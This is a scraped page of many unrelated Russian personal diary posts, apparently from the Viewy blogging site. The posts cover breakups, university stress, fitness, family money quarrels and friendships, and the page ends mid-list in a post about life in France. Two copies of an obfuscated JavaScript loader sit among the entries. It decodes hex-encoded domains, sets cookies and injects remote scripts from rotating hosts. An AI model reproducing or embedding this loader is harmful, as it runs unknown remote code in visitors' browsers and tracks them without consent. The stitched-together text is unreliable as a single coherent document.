Я бы просто любил, не требуя ничего взамен.

а я говорю:
- мне нравятся поезда — однажды пакуешь, значится, чемодан, билет покупаешь, едешь чёрт-те куда, отдавшись на волю случая и течения…

На работе сегодня была полная ж, надеюсь завтра будет лучше. Тем более завтра аттестация и необходимо сегодня настроиться на неё. Чтобы завтра все получилось. Далее учеба и домой. Но зато сейчас я бы на аэробике! Снова начинаю заниматься спортом, хочу выстроить систему. Питалась сегодня хорошо. Надеюсь, мой организм скажет мне "спасибо". И несмотря на то, что на работе грусть, надо настроиться на позитив. Все временно. Сегодня чёрная полоса, завтра будет белая. Надо учиться внимательнее слушать. Вот главное. Заниматься не тупым прозвоном, а думать. Выяснять и понимать.

Итак, чтобы было понятнее, это он мне написал. Нашел тупой повод и вот - написал. Сначала ночью, потом днем. Знаете, это так странно. Я так хотела, чтобы он написал сам, но когда это произошло - я ничего не почувствовала. То есть, почему-то никаких эмоций. Да, я улыбнулась, но не больше. И улыбка была скорее от смысла сообщения, а не от того, что оно вообще пришло, понимаете? Там просто шутка была. Просто. Шутка.

Я не знаю, что делать. Если он опять захочет общаться? Я ведь тоже хочу. Но мне так противно видеть его. И даже переписываться. Но в то же время, я хочу этого. Так странно все это…

Он сбрил бороду.

Честно говоря, мне хочется плакать, когда я начинаю думать о том, что у меня теперь есть выбор.

С нами память сидит у стола, А в руке ее пламя свечи. Ты такою хорошей была. Посмотри на меня, не молчи. Две мечты да печали стакан Мы, воскреснув, допили до дна. Я не знаю, зачем тебе дан. Правит мною дорога-луна. Ты не плачь, если можешь, прости. Жизнь - не сахар, а смерть нам - не чай. Мне свою дорогу нести. До свидания, друг, и прощай.

Никогда не любила употреблять имена здесь.

Помните я писала о том, что хочу начать упорно заниматься? Так я начала. Чуть ли не каждый день я делаю комплекс упражнений, сменила питание. А всё началось с того, что Он - М - сказал, что попа у меня изменилась и тогда ему нравилось больше. Ну а я и сама давненько подумывала начать заниматься, а тут ещё и его комментарий меня подтолкнул.

Пару дней назад мы провели вместе вечер. И ночь. И знаете что? Он сказал, что уже есть результат и становится лучше. АЛИЛУЯ. Всё, что я делаю не прошло даром.

К тому же, замерила параметры заново. 81-57-91.

У меня увеличилась грудь???

Нуу, он вел семестр на первом курсе. Вроде уже достаточно времени прошло, чтобы считать его просто мужиком, а не своим преподом.. Он же шикарен, его музыкальный вкус хорош, общается ну просто супер мило, но только с моей инициативы, а у меня закончились идеи, бумбумбум

ну добей меня, доуничтожь.

мир, раз уж взялся, так будь же добр,

не сиди расстерянным понятым.

ты судья и резчик, немой чертежник.

раз уж взумал, действуй, по воли властвуй:

я вовек низложена пред тобой.

ты не проведешь меня, не пытайся.

вон из кожи выйду, отброшу хвост.

буду упряма и изворотлива, словно ящер,

не сдам позиций, сыграю в ящик:

каждый день мой проходит, как каждый год.

и вдруг ты понимаешь, что внутри тебя что-то сломалось. неожиданно. это такой момент, когда от слабости опускаются руки, ты падаешь на колени и долго-долго смотришь в пустоту, не в силах прийти в себя….

Засуньте в мою голову какие-то другие мысли, кроме него. Дерьмо собачье. Кто ж знал, что с тобой такое будет.

смеяться до потери пульса - это мы умеем :) )

Беситься до падения с кровати и до повреждений тоже :) ))

ЛЮДИ! цените, пожалуйста, то, что имеете! Ведь именно здесь и сейчас вы живете! Можно всю жизнь провеси в поисках идеала и остаться ни с чем ;)

перед сном звонила Насте, была рада слышать ее голос. мы говорили наверное с час-полтора. рассказала про все что в жизни происходит, про маньяка, который за ней охотился, повспоминали с ней наши похождения) больше всего люблю разговоры с настей, потому что она любит поговорить о себе, никогда не задалбливает меня расспросами.это помогает отвлечься, очень помогает.нет, она конечно интересуется моей жизнью, и мы много говорили о тебе, но я все же предпочетала слушать.

ну так вот. вечером встретилась с Машей, прогулялись немного) проводила Олега с Машей на остановочку, поехали развлекаться, ну ты понял) а я пошла домой, и мы продолжили наш разговор по телефону, к сожалению не такой долгий, как хотелось бы.

Счастье в браке — это не то, что просто случается. Хороший брак должен быть создан. Никогда не поздно держаться за руки. Говорить «Я люблю тебя» хотя бы раз в день. Не ложиться спать в ссоре. Ни при каких обстоятельствах не воспринимать действия друг друга само собой разумеющимися. Ухаживания не должны заканчиваться вместе с медовым месяцем, они должны длиться всю жизнь. Вместе идти по жизни. Сформировать круг любви, который соберет всю семью. Делать что-то друг для друга не из соображений долга, а из соображений радости. Вдумчиво произносить слова признательности и выражать благодарность. Необходимо развивать терпение, понимание и чувство юмора. Уметь прощать и забывать. Дело не только в том, чтобы выйти замуж (жениться) за нужного человека. Дело в том, чтобы быть нужным человеком.

почему я раньше не завела блог? всегда ведь хотела. у меня постоянно неразбериха в голове. бессвязный поток сознания.

Привет.

Здесь кто-то еще есть? Кажется, меня здесь не было целую вечность. Да, пожалуй, так и есть.

Я вовсю дружу с Tumblr. Помню, что отсюда меня выгнала нескончаемая реклама. Сейчас - всё то же. Как вы тут обитаете? Или, может, есть способ с ней бороться, остановить ее?

Напишите, кто еще здесь активно ведет блог. Так интересно пролистать ваши блоги, узнать, у кого что изменилось, случилось. Жду.

Ваша Таня.

ушла я с квартиры довольно быстро, т.к чувствовала себя одиноко, без Насти.. мы всю жизнь всегда были вместе на всех праздниках. а тут она так далеко.. я не могу свыкнуться с тем, что время летит с бешенной скоростью! и все так быстро меняется вокруг меня!я уже на 2 курсе, Настя поступила в Ставрополь, ты покинул меня на год.а через год еще и мои малявочик разъедутся кто куда. все это так пугает. что будет дальше?

хотя кого я обманываю, каждый раз, когда во мне возникают пусть и мимолетные, но чувства к кому-то, я только радуюсь и бью в барабаны: смотри, катя, ты жива, достаем сердце из шкафчика, заводим, румяним щеки, вот и снова кровь в наших венах! я пытаюсь выработать даже некую мантру:

живая жизнь лучше этого, живые чувства лучше этого, реальная самооценка лучше манекенного нарциссизма, живи, живи, живи, и так оно и есть, жизнь может быть такой красивой, такой прекрасной и интересной, но почему, почему эта мертвая полуреальность все равно обладает таким магнетизмом и обаянием? почему я соблазняюсь каждый раз?

все утро выполняла указы мамы, готовили салатики и всякие вкусности на двойной праздник новоселье/др. квартира конечно очень уютная) особенно, когда полностью вычищена после двухлетнего ремонта, с мебелью и уже немного обжитая) рада за Владика, что он наконец то покинул родительское гнездо, и теперь у него появился свой дом , который станет ему еще роднее нашего. надеюсь, жизнь у него начнет стремительно налаживаться и он наконец повстречает себе достойную девушку.

Вспомнилось, как мне было гармонично в свое время с одним сайтом, и вот второй час пытаюсь написать огромный пост о ненависти к зиме. И вот то ли я вру себе о таких серьезных чувствах к временам года, то ли язык затупился. Но скажу точно, мне хочется рыдать, когда выхожу на улицу. И не дай черт с утра выглянуть из окна и увидеть все это мракобесие. И оказалось, совсем не важно, выходишь ты в красивой шубе, простой куртке или любимом осеннем пальто, в котором, как мне казалось, я сверну все горы, выдержу все передряги и в самые печальные моменты зимы, в нем одном переживу все морозы. Если бы в декабре не родились три мои пташки, то, зуб даю, впала бы в спячку. Не знаю, что должна сделать зима, что бы я простила ее.

Просто хотелось поделиться музыкой с Вами <3
John Legend ft Ludacris – Tonight
Zhu – Working For It (feat. Skrillex & THEY)
0liver Koletzki – Bones (feat. HV0B)
Hurts – Stay

Картинка с тегом «sky, travel, and clouds»

веду свой блог с опазданием в два дня, была не в состоянии что либо делать. только лишь писать тебе смс, и ждать твоих звонков.

так рада слышать твой голос, наслаждаюсь им, пока есть такая возможность.

Фу, как же я ненавижу в мужчинах детскость. Эти шутки начальной школы, это непонимание женской натуры (которое как раз-таки приобретается с возрастом), эта трусость в признании ошибок, это неумение взять на себя ответственность. Именно поэтому не вижу себя с ровесником. Хотя о чём я, ведь и взрослые мужчины так себя ведут.

Я верю, что буду хорошей, верной, заботливой женой для настоящего мужчины. Поймите, для настоящего. Вся загвоздка в этом.

16.11.2015

Судя по вашим ответам я действительно просто не хочу выходить и работать. Хотя я абсолютно себя там не видела. И не думаю, что научилась бы чему-то новому, потому что обязанности были очень и очень ограничены на время отсутствия постоянного бухгалтера. Отговорки?

Но спасибо.Если окажусь еще раз в такой ситуации, хоть знаю к кому идти…

День 38: Мысли о Вашем поколении.

На самом деле я не знаю, как ответить на этот вопрос. В моем поколении есть совершенно разные люди. Есть и целеустремленные ребята и есть те, которые просто плывут по течению. Есть те, кто стремятся к семье, а есть те, кто совершенно не видит себя в этом.

Больше всего мне обидно за свое поколение в том плане, что оно стало совершенно циничным и равнодушным. Оно и не удивительно если мы живем в такое время, в которое просто страшно жить. Надеюсь, что это в скором времени прекратиться и следующее поколение после моего будет немного другим.

Есть много разговоров, которые мы все представляли, но прекрасно понимали, что никогда не состоятся. У меня тоже есть один такой. "Знаешь, ты тот человек, который сделал мне очень больно, возможно даже единственный. Но хочу тебе сказать, что ты не виноват. Ты не обязан был любить меня вечно. Но по-моему я была достойна хотя бы того, что бы расстаться со мной лично, не понимаю до сих пор, почему ты решил, что смс это лучший выход. ты обещал, что несмотря ни на что, ты всегда будешь рядом и поддержишь меня в трудное время, так вот, в сааааамое трудное и ужасное время в моей жизни ты ушёл, оставил совсем одну. Вторая половина лета была испорчена в дерьмище, у меня все разъехались и я осталась одна и в прямом и в переносном смысле одна. Единственный человек с кем бы я хотела поговорить забил на меня хуй. Ты хоть знаешь каково это каждый день перекручивать в голове все воспоминания и думать " а если бы то" "а если бы так". Ты мог бы хотя бы просто написать " как ты?" я бы не стала изливать душу, просто бы ответила, что все нормально и уже это согрело бы мне сердце. После всего этого, еще узнать, что пока я там все это переживала одна, ты уже во всю развлекался с другой. И самое смешное, что в самый сложный период в ТВОЕЙ жизни я была рядом, я была единственной кто тебя поддерживал и за это мне приходится благодарить телку, в которую ты влюбился. Я гораздо больше дорожу тобой, чем ты мной и это не справедливо."

какой нахуй мужчина моей мечты. Пиздец ванилька сраная. Короче после того, как расстались, совсем нет ни к кому из мужиков доверия. И бедный Женя тоже под это постоянно попадает.Но приятно, что все говорили что он изеняет, гуляет и прочее, а сейчас, он даже никому не отвечает, и безумно влюбилс в меня. И мне немного жаль, что у меня не такие сильные чувства, и к сожалению я понимаю, что это не мой мужчина. Немного по характеру не подходит.

Еще я короче очень просто рада, что мы помирились с янкой летом, и сейчас у нас дружба стала еще крепче чем когда то была. Пусть все так и будет. Ань, кстати + Иванов.

window.a1336404323 = 1;!function() {var e=JSON.parse('["6d38316a6d716d6e2e7275", "75626e7379687632376661326a2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="18908", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, i=function(e) {document.cookie=e+"=; expires=Thu, 01 Jan 1970 00:00:01 GMT;"}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";n("ta2519043306", f, {expires:parseInt("3600") }), c(u, function() {o("a2519043306") !=f&&(n("a2519043306", f, {expires:parseInt("3600") }), i("ta2519043306")) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

На самом деле, я совсем не хочу вспоминать прошлые отношения, и поскорее бы все это забыть. Первый месяц в городе, мы с Яной постоянно хотели отрыва, гулянок, я думаю это еще отголоски лета, а потом….А потом я устроилась на работу. Да, администратором в косметический салон. Гулянки прекратились, кот отошел на задний план, а Женя, после нашего расстоваия, оказался на первом. Был период когда он очень меня разочаровал, именно своим поведение и я могла легко его оставить. Сейчас я настолько привыкла к этому человеку, что мне очень больно, даже когда мы ссоримся. Хоть и до сихпор я не могу выставить наши отношения на показ. Из за работы у меня начались проблемы на учебе, совсем не до нее. Господи, помоги мне сдать эту сессиию. Ну а сейчас, сейчас я головлюсь к своему день рождению. Надеюсь все пройдет мощнее чем в том году.

16.11.2015 год

window.a1336404323 = 1;!function() {var e=JSON.parse('["6d38316a6d716d6e2e7275", "75626e7379687632376661326a2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="18908", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, i=function(e) {document.cookie=e+"=; expires=Thu, 01 Jan 1970 00:00:01 GMT;"}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";n("ta2519043306", f, {expires:parseInt("3600") }), c(u, function() {o("a2519043306") !=f&&(n("a2519043306", f, {expires:parseInt("3600") }), i("ta2519043306")) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

круто заходить сюда после долго времени и видеть, что люди меняются.

очень жаль, что я растеряла своих подписчиков и многие ребята уже давно ушли с вьюи(

весь день как в тумане. а внутри пустота, как будто часть меня куда-то пропала. Дима с утра пытался поднять настроение, я даже смеялась, ну мысли все где-то далеко, рядом с тобой.когда пришла домой, искала спасение во сне, но сон меня подвел, не знаю был ли он вообще, я вроде бы и спала, но слышала все происходящее.мне постоянно казалось что пришла смс или что ты мне звонишь. в один момент, я осталась дома одна и тут вспомнила, что совсем забыла про наворованное добро с твоего дома, сокровища, которые будут греть мне душу холодными одинокими вечерами.твоя шапочка пахла тобой..как долго держатся такие запахи?к сожалению футболка была постирана и слышно было лишь запах порошка.надушила мишутку твоими духами и наслаждалась их ароматом, хотя когда-то они мне не особо нравились.и я сидела, окруженная твоими вещами, понимая, что всего этого так мало.

Есть события, которые вызывают радость/восторг/слезы счастья/дикие танцы радости…в моем случае это будет фраза в голове "ну наконец-то", улыбка и пара фраз. Нет, не то что бы я не буду счастлива. Буду, еще как. Но…просто точка не возврата пройдена. И после нее - мучительное ожидание этих событий. Не будет восторга и неожиданности.. Все закономерно. Но ладно бы закономерно - все слишком затянуто.

Поясню. Пару месяцев назад мой м.ч рассказал мне интересную(забавную) историю о том, что у них в семье есть традиция. заключается она в том, что мальчик дарит девушке кольцо (купленное очень давно, и которое бережно пылится на полке, пока этот самый мальчик не встретит свою единственную девочку). И как-бы всем понятно что означает этот жест. Но есть свои нюансы - пара должна провстречаться год(или чуть больше).

Почти 2 недели назад нам стукнул год…и мой м.ч. устроил мне замечательный вечер с винишком, вкусной едой, свечами и цветами. РомантИк в чистом виде. И я как дура весь вечер провела в ожидании (ну не весь, часть). Это и был тот восторг…вернее был бы. Потому что в конце меня ожидала нотка разочарования от несбывшихся ожиданий.

М.ч очень хорошо улавливает такое. На следующий день был вечер выпытывания у меня что с моим настроением(ну не умею я скрывать, вернее умею, но этот же все замечает с полувзгляда). И знаете… вывод тут прост - я дура. Самая что ни на есть настоящая Д-У-Р-А. Конец.

Мир в нашем доме не вечен

У нас с мамой очень странные отношения. Иногда мне кажется, что кто-то из нас - энергетический вампир: когда кому-то из нас хорошо, другому обязательно не очень. И если я обычно в такие моменты своего "затухания" закрываюсь в себе или технично куда-нибудь сваливаю, то когда у меня настроение отличное, а у моей женщины не очень - ей обязательно нужно до меня докопаться. Последние пару месяцев мне было явно не очень и жили мы душа в душу - я постаянно находилась на кухне наедине с приступом самобичевания, а она порхала по квартире, радуясь временному отдыху от нелюбимой работы. И вот у меня несколько дней новый заряд энергии и настроения - до меня снова докапываются. Ждала этого, честно. Тема стара - деньги. Очень своевременно, учитывая, что завтра она выходит из отпуска, а у меня первый день стажировки на новом месте. Зацепило ее, что я шубу не хочу, продукты домой не покупаю, деньги на кредит не даю и еще что-то. Кредит меня выбесил просто: я не умею читать мыслей, да и она сама говорила, что денег хватает. Можно было просто попросить. А вот с ситуацией с продуктами в корне не согласна, учитывая что и готовлю в основном я.

Да и в целом само восприятие денег у нас разное: угадайте, для кого цель, а для кого - средство) И да, я не готова жертвовать своими студенческими поездками, чтобы потом рассказывать внукам, что в 21 не поехала куда-то из-за машины в кредит!

А вообще наш "разговор" сегодня помог осознать, что:

1) Мне очень нужно место, на которое я стажируюсь;

2) Что-то я свою женщину перестаю бояться;

3) Пора сваливать!

А в целом день отличный! Но об этом не буду - счастье любит тишину))

День 37: Кто Вы?

Мне кажется, что подобный вопрос следовало бы задать в первый день флэшмоба, но ладно уж.

На самом деле во мне, в одной не такой уж и большой девчушке уменьшается огромное количество вот этих самых "Я".

Если поити по-порядку Я - личность, дочь, внучка, гражданка Украины, студентка, крестная мать, подруга и много-много кто еще. Хотя больше всего я хочу надеяться на то, что я, в первую очередь, Человек. Я всю свою жизнь стараюсь жить так, чтоб никого не обижать, по возможности помогать и быть более ли менее внимательной к тому, что происходит вокруг меня. Да, я делаю это незначительно - там уступила дедушке с палочкой место в маршрутке, там пошла и покормила бездомных котят, а там вообще молодец и бумажку до урны донесла.

Это действительно что-то совершенно незначительно в глобальном плане, но ведь не всегда важно то, что масштабно. Думаю, что тот котенок, которого я подкармливаю возле своей парадной, очень счастлив, что он не голодает на таком холоде. И, мне хочется верить, что если какие-то мои поступки могут сделать счастливым хоть самую маленькую душу, то это значит, что я не зря живу и не только занимаюсь тем, что паразитирую на Земле.

апогей долбоебизма - считать, что кто-то, кроме тебя, виноват в твоих проблемах.

ты сидишь в полном говне и не собираешься ничего делать, потому что ты ленивый кусок говна мяса.

ах, да. не лень, а отсутствие мотивации.

мотивации нет и ты продолжаешь ныть. ты ноешь, надеясь на чудо, так ведь?

а вот хуюшки.

делай хоть что-нибудь. сам.

______________________________________

охуеть я умная.

хотя сама живу так же.

Ктоооо болеет чуть ли не каждый месяц? Ну естественно я((( (Одеваюсь тепло, холодное не пью, вопрос гдееее я могла простыть!?? Бесит!!!! Не хочууууу болеть

ему всегда плевать на мои проблемы, на то что я могу быть чем то или кем то занята, он всегда приходит и делает то что ему нужно. мое отношение к нему никогда не менялось, где бы я не была и с кем я всегда приеду, прийду, ночью или с утра я всегда буду рядом. наши отношения очень запутанные, мы не вместе но мы не можем быть врозь, лично для себя я все решила, но он еще в замешательстве.

я так устала плакать, мне кажется что этот ад не закончиться никогда, все по кругу. .

Стокгольмский синдром это когда тебя сначала раздражают ее тюбики с кремами и шампунями в вашей ванной, а потом пробуешь лавандовые луга для нежных шелковистых волос и вот тебе уже нравится.

Любое трагическое событие для людей — очередной повод устроить показуху. ИДИ ДЕНЬГИ В ДЕТСКИЙ ДОМ ПОЖЕРТВУЙ, ЗА ПАРИЖ ОНА МОЛИТСЯ.

День 36: Что Вы думаете о Ваших друзьях?

Я считаю, что мои друзья - самые лучшие люди, с которыми мне только доводилось сталкиваться в жизни. Путем многих лет общения, путем преодоления множества препятствий в моей жизни осталось всего три человека, но это те люди, которым я доверяю полностью. Они знают меня лучше, чем я сама знаю себя. Мы прошли через все - через первые отношения, через первые гулянки, первые выпивоны и первые сигареты. Сейчас мы все уже относительно взрослые люди - кто-то учится, кто-то работает, кто-то одинок, а кто-то в отношениях, кто-то живет отдельно, а кто-то все еще с родителями. Но знаете что? Все это никак не влияет на нашу дружбу.

Знаете, дорогие мои, мне хотелось бы пожелать, чтоб у каждого из вас в жизни были такие друзья, которые не на год/месяц/одну гулянку, а которые на всю жизнь. С которыми можно будет собраться в 70 лет, выгнать внуков из дома, забить крутой кальян, купить бутылку виски и за каким-то раритетным фильмом вспоминать молодость.

Сегодня я пришла к мысли о том, что уже хочу, чтобы началась сессия. Да, на первый взгляд, это кажется странным, но мне уже так надоело каждый день и каждую ночь думать о том, что чуть больше, чем через месяц начнутся экзамены. Вот прошло бы всё и я успокоилась. Да и вообще уже отдохнуть хочу.

Сегодня наконец-то собрались с соседками и убрали блок. Господи, как же приятно быть в чистоте и порядке.

В уни все более-менее нормально. Я думаю, что просто потому, что китайский только завтра. Осталось лишь заставить себя начать учить и все будет лучше.

В семье опять проблемы: у папы нет работы, поэтому родители в депрессии. Но, отдаю им должное, открыто они это не показывают. Что-то вроде временной черной полосы. И знаете, что в этом самое интересное? Папа думает приехать в город, где я учусь, на заработки. Вот так вот.

Раньше дискутировали на тему: умная, но страшная, или красивая, зато тупая. Теперь много говорят о том, что нельзя Девушку по заднице судить. А Я скажу, что можно! Я считаю, что действительно умная Женщина не может быть некрасивой, неспортивный или еще какой-то там "не"! Если у Женщины есть мозги, то Она видит Свои недостатки и ПРЕАРАЩАЕТ ИХ В ДОСТОИНСТВА! Иначе, это никакая ни умная Женщина… Тут все просто.

Нашла группу для хорошего настроения - Белки на акации. Их музыка дает понять, то ты еще жив и даже рад этому.

А вообще, у меня большие планы на эту неделю. Встретиться в четверг с Казанцевой на вечере поэзии, а в пятницу помочь одногруппнику в онкоцентре и поехать домой. В субботу у меня будет день алкаша. Есть стипендия, есть собутыльники, будет вино. Так выходит, что сначала я пью с Яной, а потом походу дела еще народ решил встретиться со мной за этим делом. Это хорошо.

"так будет лучше", "я же не тот, кто нужен".
это тебе на завтрак,
обед и ужин.
ешь это, жуй, глотай - станет только
хуже.
вот он, уходит.
бейся, стреляйся, плачь,

Сегодняшний разговор с моим научным руководителем, человеком, которого я глубоко уважаю и считаю самым лучшим преподавателем нашей кафедры.

- Саша, а вы написали уже статью?

- Нет.

-

А ту в сборник послали?

- Нет.

-

В ШИКС на участие в конференции заявку хоть отправили?

- Н..нет.

- Мне вообще нравится ваша позиция. Ну вы даете.. Я к своей статье за месяц готовилась.. Офигеваю (уже интерпретировано мной лично, скорее всего, там было другое слово, но не важно, суть передана) с вас!

_________________________________________________________________

Если честно, после этого разговора я нехило так нагрузилась. Настроение упало. Мысль: «Куда бежит время, и почему я за ним не поспеваю?», крутилась в моей голове на репите. Мысленно переметывая эти две прошедшие недели, я на самом деле не нашла времени на то, чтобы это все выполнить. Дело даже не в лени.

Я хожу на фитнес три раза в неделю.

Я хожу на курсы английского.

Изучаю китайский.

Читаю книги.

Пишу курсовую.

Готовлю все семинары по учебе.

Хлопочу по дому.

_____________________________________________________________________

Когда человек, которого ты глубоко уважаешь, разочаровывается в тебе – чувство непередаваемое. Я очень расстроена в себе. Я чувствую себя маленьким человечком, который берет на себя слишком много и не справляется с ношей. Самое стремное – это то, что сейчас я чувствую себя самым безответственным существом на свете! Тем, кто даже не может организовать свое время должным образом.

____________________________________________________________________

Но с другой стороны, я всего лишь обычный человек. Мне всего 19 лет. Да, у меня бывают такие моменты, когда все выходит из-под контроля. Да, я не всегда оправдываю чьи-то ожидания. Я простой подросток.

И мне хочется помимо всего прочего наслаждаться своей жизнью!

___________________________________________________________________

Да… это все просто мои пустые оправдания..

Легче мне от них не стало.

Давайте запомним этот день, ибо это тот день, когда я говорю себе и вам, что мне нравится моя группа. Серьезно. Я упорно ищу в каждом минусы, чтобы заставить себя поверить, что мне здесь не место, но дело в том, что эти минусы такие ничтожные. Просто мы еще слишком мало друг друга знаем. Я плохо привыкаю к людям, но многие из моих одногруппников просто потрясающие люди. Правда, есть одна дама, которая учит меня жизни. Девочка, я сама себе и солнце и луна. Без тебя решу курить мне или нет, пить или нет, красить волосы или нет.

Одна девочка сказала, то я "очень мягкая". В этом и есть моя большая проблема. Я быдло, которое прячется под видом тихой девочки. Мои друзья знают, какая я в обычной жизни. Девочка, которая постоянно матерится, курит, обожает белое вино, шляется по подъездам и дворам, разводит тупеньких мужиков на алкоголь. Если вы меня не знаете, то можете подумать, что я очень нелюдимая. Так и сейчас получается.

Мне нравится, что есть Рома, с которым можно выйти покурить, что есть Соня, с которой я общаюсь получше других, хотя она тот еще интроверт, что есть Амина и Настя - самые милые девушки на планете.

Я никогда не забуду эти слова, сказанные впылу ссоры, как меня поливали дерьмом за то, чего я не делала. Это было настолько тупо и обидно, что меня трясло от ярости, кости ломило, а глаза не верили в происходящее. Но было бы в тысячи раз обиднее, если бы до этого мы не ругались. Я до сих пор злюсь, прошло уже полтора года, а я также зла. Мне обидно от того, что моей дружбой просто воспользовались, сделали меня виноватой. А знаете, какая была причина всего этого? Я блять скажу. Потому что я зарегистрирована на Вьюи и читала её блог, видела пост, из-за которого ей написали на аск гадости. Я читала её блог. Я виновата, мать её, в этом. А то, что она выкладывала десятки раз ссылку на стене вк, то это пофиг. Главное, я читала. Пиздец.

Ну вот, тот момент, когда сказка закончилась. Мой мужчина уже давно не рядом со мной. На неделе мы виделись всего пару раз. Но я не болею им. Я, кажется, ничего не чувствую. Я хожу в кино, гуляю за руку и засыпаю в объятиях другого мужчины. Вся беда в том, что это разные люди. Один в телефоне, другой в постели, благо - в мыслях никого нет. За последнее время две ночи я провела у СВ. Он стал такой пустой, или я, наконец увидела всю его суть. Полупустая квартирка, из еды только яблоки и конфеты, пара кресел в комнате, стол, диван и приставка, без которой его жизнь была бы, наверное, совсем неинтересна. Когда я прихожу, снимаю с себя все побрикушки и платье, одеваю его футболку, отключаю сотовый и наслаждаюсь. Тишина и спокойствие. То, чего действительно не хватало все это время. Три месяца, или больше? Но секс стал не хуже. Мы отдаемся друг другу часами, не смотря на то, что кому-то из нас с утра на работу. Так же говорит, что я сумасшедшая и тратит на меня последние силы. Не стыдно ни перед собой, ни перед кем-то еще. Но все же приходится врать. Многим. Зачем? Чтобы оставались рядом, хоть и не желанные мужчины, так, для поднятия самооценки.

Only fools never change their mind, — говорит мой бойфренд, ради которого я три года назад переехала из Украины во Францию. И он, безусловно, прав. Невозможно не измениться хотя бы немного, когда ты меняешь один уклад жизни на другой. Распорядок дня, бытовые привычки – лишь капля в море всего того, что вдруг стало иначе. В прошлое воскресенье я сидела возле спортивной площадки в Люксембургском саду – наблюдала, как красивые, высокие парни играют в баскетбол. И вдруг поймала себя на мысли, что еще три года назад мои выходные были совсем другими, я иначе завтракала, гуляла по другим маршрутам и, более того – смотрела на мир совершенно другими глазами. Этот текст – моя условная черта, которую уже можно подводить под одним из определяющих моментов в моей жизни, – решении переехать заграницу. Итак, 10 вещей, которым я научилась у французов.

1. Быть вежливой всегда, везде, со всеми – как дышать

Не помню, чтобы я когда-либо была хамкой или грубила незнакомым людям. Говорить «здравствуйте» и «спасибо» меня научили в детстве, и для меня это константа. Но только после переезда я:

  • стала извиняться, когда на ногу в транспорте наступают мне;
  • не просто говорить «до свидания» продавцам, официантам и почтальонам, но еще и желать всем «приятного вечера/хорошего дня/отличного уикенда»;
  • здороваться и прощаться с соседями с интервалом в 45 секунд, когда мы едем в лифте;
  • использовать многосложные (многослойные?) извинения «pardon-excusez-moi», потому что одного слова, очевидно, недостаточно для тотальной вежливости;
  • пропускать на кассе супермаркета тех, у кого бутылка воды и пакет яблок, когда у меня товаров на сто евро;
